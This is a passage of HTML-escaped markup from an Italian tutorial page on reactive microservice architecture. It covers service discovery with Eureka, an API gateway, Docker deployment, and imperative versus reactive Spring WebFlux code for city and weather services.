;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/76ade3508532bd90ddd8822322d70f2d/c85cb/aggregatore.webp 300w,/static/76ade3508532bd90ddd8822322d70f2d/e88ff/aggregatore.webp 600w,/static/76ade3508532bd90ddd8822322d70f2d/0bb9d/aggregatore.webp 748w&quot; sizes=&quot;(max-width: 748px) 100vw, 748px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/76ade3508532bd90ddd8822322d70f2d/5a46d/aggregatore.png 300w,/static/76ade3508532bd90ddd8822322d70f2d/0a47e/aggregatore.png 600w,/static/76ade3508532bd90ddd8822322d70f2d/f8915/aggregatore.png 748w&quot; sizes=&quot;(max-width: 748px) 100vw, 748px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 11 - Aggregatore&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/76ade3508532bd90ddd8822322d70f2d/f8915/aggregatore.png&quot; title=&quot;Figura 11 - Aggregatore&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 11 - Aggregatore&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Nel capitolo del Reactive Manifesto abbiamo parlato di elasticità,
caratteristica per cui si richiede che il sistema riesca a gestire eventuali
casi di incremento di richieste verso una singola entità dell&amp;#x27;architettura.
In questa ottica, potremmo avere più istanze della medesima entità che devono
comunque continuare dialogare fra loro, quindi abbiamo bisogno di qualcuno
che ci dica dove si trova il servizio che abbiamo intenzione di richiamare.&lt;/p&gt;&lt;h3 id=&quot;service-discovery&quot;&gt;Service Discovery&lt;/h3&gt;&lt;p&gt;Questa lacuna viene colmata dal &lt;strong&gt;Service Discovery&lt;/strong&gt; che è sostanzialmente un
registro dei nodi attivi. Durante la fase di startup di ogni singolo nodo avviene
la sottoscrizione verso il Service Discovery al quale sarà notificato la presenza
della nuova istanza. Per la nostra demo abbiamo deciso di adottare la versione
realizzata da Netflix denominata Eureka.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 12 - Service Discovery&quot; title=&quot;Figura 12 - Service Discovery&quot; src=&quot;/linked/58b8541115695283e6f5047710c7fece/service-discovery.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 12 - Service Discovery&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;In altri scenari si possono utilizzare le soluzioni integrate all&amp;#x27;interno degli
orchestratori di container come ad esempio &lt;a href=&quot;https://success.docker.com/article/ucp-service-discovery-swarm&quot;&gt;Docker Swarm&lt;/a&gt;
o &lt;a href=&quot;https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services&quot;&gt;Kubernates&lt;/a&gt;.&lt;/p&gt;&lt;h3 id=&quot;api-gateway&quot;&gt;Api Gateway&lt;/h3&gt;&lt;p&gt;Manca ancora un elemento per rendere fruibile la nostra architettura:
l&amp;#x27;&lt;strong&gt;Api Gateway&lt;/strong&gt;. Questa rappresenta l&amp;#x27;entità da richiamare dall&amp;#x27;esterno
come singolo punto di accesso a tutti i servizi presenti.&lt;/p&gt;&lt;p&gt;Questo componente è in stretto contatto con il service discovery, attraverso
il quale conosce i servizi attualemente attivi e le loro api esposte.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:699px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a2e03a9a80abbff730816e874be826f4/3fe45/api-gateway-che-comunica-con-service-discovery.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:23.333333333333332%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;93\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2093\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M324%207c-3%203-4%207-2%209s3%202%206%200h2c0%203%203%201%204-3%200-5%202-4%201%201l1%203c2%200%202-1%202-3%200-4%202-4%203%200l-1%204c-2%201-1%202%201%202%201-1%207-9%207-11%200-1-3%200-4%202l-1%203v-3l-2-2-2-1h-4c0-4-2-1-4%203l-1%203h-3c-3%202-5%200-3-3%201-2%203-3%205-1h2c1-3-4-5-7-3M34%208c-3%201-17%2024-17%2028l14%2026c2%202%203%202%2017%202l16-1c3%200%2016-24%2016-27S67%2010%2064%208H34m2%2015c-5%205-6%2012-3%2020%208%2017%2035%209%2033-10-1-8-9-16-11-12l2%205c7%207%204%2019-7%2021-11%203-19-12-11-20%205-6%202-10-3-4m100%205l-7%205%207%204c8%206%208%206%208%202v-3h21l22%201-1%202%201%203%2014-9-14-9-1%201c1%205%202%205-21%205h-20l-1-3v-3l-8%204m185%203l1%206c0%203%203%203%204-1l1-2v2c0%204%203%204%204%200l1-2%201%202c1%203%205%204%207%201h1c0%203%207%203%207%200%202-5%201-6-2-6l-4%202c0%203%200%203-1%201%200-2-1-2-4-2-2%200-3-1-2-2l-1-2-3%202v2l-1-2c-1-3-3-3-4%201l-2%203v-3c0-2-1-3-2-3l-1%203m35-2l-1%202-1-1c0-2-3-1-3%201-2%203-1%208%200%208s2-1%202-3l1-3c1-1%201-1%201%202-1%205%201%206%202%201l2-3v3l1%203%202-4%201-2v2l1%204c2%201%206-1%206-3%201-1%201-1%201%201%200%203%202%203%203-1%200-2%201-3%202-3l1-1c0-2-5-1-5%201h-1c-2-2-5-3-7-1h-1l-3-1-2-1-1-2-1%201M244%2039v6l1%204h16V38h-8l-9%201m19%202l1%204h14l-8%201c-10%201-9%203%201%203h9v-6l-8-1c-9%200-9-2%201-2l7-1-9-1h-8v3m19-2l-1%203c0%202%201%203%2010%203%204%201%204%201-2%201s-8%200-8%202l8%201h9v-7h-7l-7-1%207-1%207-1h-16m41%2015l-3%206h3l2-1%202%201%201%201%202%202h6c2-2%202-2%202%200%201%202%206%201%208-2%202-5%202-8-1-8-1-1-3%200-4%201l-2%201c0-2-3-3-6-2l-2%203-2%204v-4c0-7-3-8-6-2m57-3l-4%202c-2-1-5%201-6%205%200%203%200%203%203%203s4%200%205-4l1-3v3l1%204c2%200%202%200%202-2v-3l1%202c1%203%204%204%206%202h2c1%202%203%201%203%200l2-4c3-3%203-4%200-4l-4%204-1%204v-4c0-3-2-5-5-3-2%202-3%202-4-1%200-2-1-2-2-1m-31%204v6l2-3c1-4%203-4%203%200-1%203%205%205%206%201%200-2%200-2%202%200v2c-2%201%200%203%202%203%203%200%204-2%205-6%201-5%201-5-2-5-1-1-3%200-4%201l-2%201c0-2-3-3-5-2h-2c0-2-4%200-5%202M6%2075c-3%207-3%209-2%209l2-2c0-3%204-3%205%200l2%201%201%202%201%202%201-1%202-2c4%200%206-7%202-9-3-2-6%200-6%204v4l-2-5c-3-8-4-8-6-3m231%200v7c0%204%201%205%203%205%206%201%2010-8%205-11-3-2-7-2-8-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a2e03a9a80abbff730816e874be826f4/c85cb/api-gateway-che-comunica-con-service-discovery.webp 300w,/static/a2e03a9a80abbff730816e874be826f4/e88ff/api-gateway-che-comunica-con-service-discovery.webp 600w,/static/a2e03a9a80abbff730816e874be826f4/32d5d/api-gateway-che-comunica-con-service-discovery.webp 699w&quot; sizes=&quot;(max-width: 699px) 100vw, 699px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a2e03a9a80abbff730816e874be826f4/5a46d/api-gateway-che-comunica-con-service-discovery.png 300w,/static/a2e03a9a80abbff730816e874be826f4/0a47e/api-gateway-che-comunica-con-service-discovery.png 600w,/static/a2e03a9a80abbff730816e874be826f4/3fe45/api-gateway-che-comunica-con-service-discovery.png 699w&quot; sizes=&quot;(max-width: 699px) 100vw, 699px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 13 - Api Gateway che comunica con Service Discovery&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a2e03a9a80abbff730816e874be826f4/3fe45/api-gateway-che-comunica-con-service-discovery.png&quot; title=&quot;Figura 13 - Api Gateway che comunica con Service Discovery&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 13 - Api Gateway che comunica con Service Discovery&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;frontend&quot;&gt;Frontend&lt;/h3&gt;&lt;p&gt;Tutti i componenti appena realizzati rappresentano la nostra architettura di
backend, ma per rendere fruibili i dati per l&amp;#x27;utente finale abbiamo bisogno
di un frontend.&lt;/p&gt;&lt;p&gt;Qui possiamo utilizzare le tecnologie che più preferiamo, in particolare noi
abbiamo scelto &lt;a href=&quot;https://nodejs.org/&quot;&gt;NodeJS&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 14 - Architettura completa&quot; title=&quot;Figura 14 - Architettura completa&quot; src=&quot;/linked/84c3b4c45f1205a41e6dd029308da24b/total.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 14 - Architettura completa&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Possiamo elencare una sequenza di passi che vengono eseguiti per ottenre
l&amp;#x27;informazione desiderata:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;l&amp;#x27;utente carica una pagina restituita dal frontend&lt;/li&gt;&lt;li&gt;all&amp;#x27;interno della pagina esiste una chiamata al servizio aggregato &lt;em&gt;datas-by-city&lt;/em&gt;&lt;/li&gt;&lt;li&gt;scatta una chiamata asincrona in direzione dell&amp;#x27;Api Gateway&lt;/li&gt;&lt;li&gt;l&amp;#x27;Api Gateway conosce la destinazione del servizio aggregato&lt;/li&gt;&lt;li&gt;l&amp;#x27;aggregatore chiama i suoi nodi sottostanti&lt;/li&gt;&lt;li&gt;I nodi vanno a leggere le informazioni dalla base dati&lt;/li&gt;&lt;li&gt;l&amp;#x27;aggregatore mette insieme le informazioni ricevute dai due nodi all&amp;#x27;interno di un modello e lo resituisce&lt;/li&gt;&lt;li&gt;infine l&amp;#x27;informazione viene modellata per essere visualizzata sulla pagina dell&amp;#x27;utente&lt;/li&gt;&lt;/ol&gt;&lt;h3 id=&quot;container&quot;&gt;Container&lt;/h3&gt;&lt;p&gt;Chiaramente una architettura di questo tipo regala il meglio di se quando ogni
singola entità viene ospitata all&amp;#x27;interno di un container. Nella nostra demo
abbiamo utilizzato &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt;, realizzando
per l&amp;#x27;appunto i &lt;a href=&quot;https://docs.docker.com/engine/reference/builder/&quot;&gt;Dockerfile&lt;/a&gt;
e i &lt;a href=&quot;https://docs.docker.com/compose/compose-file/&quot;&gt;docker-compose.yml&lt;/a&gt;
che è uno dei tanti modi per realizzare un container.&lt;/p&gt;&lt;p&gt;In questo modo abbiamo realizzato degli stampini delle nostre entità e possiamo
avviarle facilmente trovando il nostro sistema pronto all&amp;#x27;uso.&lt;/p&gt;&lt;h3 id=&quot;distribuzione&quot;&gt;Distribuzione&lt;/h3&gt;&lt;p&gt;Avvalendosi dei container non abbiamo solamente il vantaggio della semplicità
di avvio, ma soprattutto quello di poter distribuire la nostra architettura
all&amp;#x27;interno di un cloud. Inoltre, settando i dovuti meccanismi di auto-scaling,
possiamo vedere le nostre entità replicarsi in caso di necessità.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 15 - Cloud&quot; title=&quot;Figura 15 - Cloud&quot; src=&quot;/linked/cb36bba9d473ad1bda705d3d59541ae8/cloud.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 15 - Cloud&lt;/figcaption&gt;&lt;/figure&gt;&lt;h2 id=&quot;sorgenti&quot;&gt;Sorgenti&lt;/h2&gt;&lt;p&gt;Di seguito possiamo vedere alcuni esempi che mettono a confronto il codice
scritto in maniera tradizionale e la sua implementazione utilizzando il
paradigma reattivo.&lt;/p&gt;&lt;h3 id=&quot;city&quot;&gt;City&lt;/h3&gt;&lt;h4 id=&quot;imperative&quot;&gt;Imperative&lt;/h4&gt;&lt;p&gt;Per realizzare l&amp;#x27;API abbiamo utilizzato le annotazioni di Spring che ci
permettono di creare in maniera agevole il servizio. Quest&amp;#x27;ultimo prende in
input il nome della città e passa il parametro alla chiamata al repository,
che restituirà un insieme di città che possiedono il nome dato in input.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;GetMapping&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/city-by-name/{cityName}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Collection&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;City&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getCityByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;PathVariable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cityName)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  throws Exception {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_cityRepository&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(cityName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 16 - Imperative City&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4 id=&quot;reactive&quot;&gt;Reactive&lt;/h4&gt;&lt;p&gt;In maniera reattiva abbiamo usate le RouterFunction di Spring WebFlux che
permettono di mappare una rotta con un metodo. Riprendendo quanto detto nel
paragrafo dell&amp;#x27;Event Loop, la rotta rappresenta l&amp;#x27;evento e il metodo è il
listener.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;RouterFunction&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;ServerResponse&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cityRoutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/city-by-name/{name}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;findByName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 17a - Reactive City&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Sotto possiamo vedere l&amp;#x27;implementazione del metodo che, come accadeva per la
versione imperativa, chiama lo strato di persistenza. Differentemente però i
driver non saranno di tipo bloccante JDBC ma useremo la versione reattiva R2DBC
implementata su Reactor. Grazie a questa differenza il valore di ritorno non
contiene un semplice insieme ma bensì un flusso di elementi.&lt;/p&gt;&lt;p&gt;In questo modo abbiamo la possibilità di tornare al client le informazioni
sottoforma di stream una città alla volta, esattamente quello che accade quando
riproduciamo un film in streaming, oppure come una informazione sincrona
restituendo il blocco di città per intero sottoforma di JSONArray.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Mono&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;ServerResponse&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ServerRequest&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; request) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;pathVariable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Flux&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;City&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cities&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_cityRepository&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;_isSSERequest&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(request)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;_toSSEResponse&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      cities,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ParameterizedTypeReference&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ServerSentEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;City&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;&amp;gt;() {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      c &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;valueOf&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(cities, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;City&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 17b - Reactive City&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;weather&quot;&gt;Weather&lt;/h3&gt;&lt;h4 id=&quot;imperative-1&quot;&gt;Imperative&lt;/h4&gt;&lt;p&gt;Analogamente a quanto visto per la città, i dati meteorologici vengono
ritornati come una semplice lista di dati. Grazie ai driver del repository,
per noi sarà trasparente la tipologia di database che è stata installata al
di sotto.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;GetMapping&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/datas-by-city-id/{cityId}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;Data&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getDatasByCityId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;PathVariable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cityId)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  throws Exception {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
